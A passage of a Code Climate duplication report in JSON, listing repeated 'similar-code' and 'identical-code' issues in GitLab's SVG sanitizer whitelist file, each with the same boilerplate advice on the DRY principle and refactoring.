refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":45,"end":45}},"remediation_points":1270000,"other_locations":[{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":8,"end":20}},{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":38,"end":38}},{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":65,"end":65}},{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":73,"end":73}},{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":96,"end":96}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 81**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"d3612d232382cae9828e7733da5a69ff","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 6 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":65,"end":65}},"remediation_points":1270000,"other_locations":[{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":8,"end":20}},{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":38,"end":38}},{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":45,"end":45}},{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":73,"end":73}},{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":96,"end":96}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 81**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"d3612d232382cae9828e7733da5a69ff","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 6 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":73,"end":73}},"remediation_points":1270000,"other_locations":[{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":8,"end":20}},{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":38,"end":38}},{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":45,"end":45}},{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":65,"end":65}},{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":96,"end":96}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 81**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"d3612d232382cae9828e7733da5a69ff","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 6 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":96,"end":96}},"remediation_points":1270000,"other_locations":[{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":8,"end":20}},{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":38,"end":38}},{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":45,"end":45}},{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":65,"end":65}},{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":73,"end":73}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 81**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"d3612d232382cae9828e7733da5a69ff","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 5 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":47,"end":47}},"remediation_points":1170000,"other_locations":[{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":61,"end":61}},{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":64,"end":64}},{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":74,"end":74}},{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":81,"end":81}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 76**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"9d3f720528b273e90fa0c600a4007367","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 5 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":61,"end":61}},"remediation_points":1170000,"other_locations":[{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":47,"end":47}},{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":64,"end":64}},{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":74,"end":74}},{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":81,"end":81}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 76**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"9d3f720528b273e90fa0c600a4007367","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 5 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":64,"end":64}},"remediation_points":1170000,"other_locations":[{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":47,"end":47}},{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":61,"end":61}},{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":74,"end":74}},{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":81,"end":81}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 76**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"9d3f720528b273e90fa0c600a4007367","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 5 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":74,"end":74}},"remediation_points":1170000,"other_locations":[{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":47,"end":47}},{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":61,"end":61}},{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":64,"end":64}},{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":81,"end":81}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 76**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"9d3f720528b273e90fa0c600a4007367","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 5 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":81,"end":81}},"remediation_points":1170000,"other_locations":[{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":47,"end":47}},{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":61,"end":61}},{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":64,"end":64}},{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":74,"end":74}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 76**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"9d3f720528b273e90fa0c600a4007367","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"identical-code","description":"Identical blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":87,"end":87}},"remediation_points":1290000,"other_locations":[{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":88,"end":88}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 82**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"3bfe7daee55e5a8099dd7a73db3a63a6","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"identical-code","description":"Identical blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":88,"end":88}},"remediation_points":1290000,"other_locations":[{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":87,"end":87}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 82**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"3bfe7daee55e5a8099dd7a73db3a63a6","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 4 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":41,"end":41}},"remediation_points":1130000,"other_locations":[{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":42,"end":42}},{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":58,"end":58}},{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":59,"end":59}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 74**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, 